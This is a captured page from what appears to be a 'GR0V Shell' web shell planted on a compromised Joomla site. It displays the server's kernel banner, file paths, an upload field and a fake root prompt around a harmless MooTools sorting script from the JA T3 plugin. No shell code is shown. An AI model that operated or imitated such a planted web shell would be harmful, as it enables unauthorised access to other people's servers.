? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/happy2/plugins/system/jat3/jat3/core/admin/assets/js/
File Upload :
Current File : /home/admin/public_html/old/happy2/plugins/system/jat3/jat3/core/admin/assets/js/ja.moo.extends.js

/**
 * ------------------------------------------------------------------------
 * JA T3v2 System Plugin for J25 & J31
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2011 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * ------------------------------------------------------------------------
 */

//Extend Sortables class to enable sort element in horizontal direction
HSortables = Sortables.extend ({
	options: {
		horizontal: true,
		onDragStart: function(element, ghost){
			ghost.setStyle('opacity', this.options.opacity);
			element.setStyle('opacity', this.options.opacity);
			ghost.addClass (this.options.ghost_class);
		}
	},
	
	initialize: function(el, options){
		this.setOptions(options);
		this.parent(el);
	},
	
	
	moveGhost: function(event){
		var value = event.page.x - this.offset;
		value = value.limit(this.coordinates.left, this.coordinates.right - this.ghost.offsetWidth);
		this.ghost.setStyle('left', value);
		event.stop();
	},
	
	move: function(event){
		if (!this.options.horizontal) {
			this.parent(event);
			return;
		}
		var now = event.page.x;
		this.previous = this.previous || now;
		var up = ((this.previous - now) > 0);
		var prev = this.active.getPrevious();
		var next = this.active.getNext();
		if (prev && up && now < prev.getCoordinates().right) this.active.inject(prev, 'before');
		if (next && !up && now > next.getCoordinates().left) this.active.inject(next, 'after');
		this.previous = now;
	}, 
	
	start: function (event, el) {
		if (this.list.disabled) return;
		this.parent (event, el);
	}
});

T1KUS90T
  root-grov@210.1.60.28:~$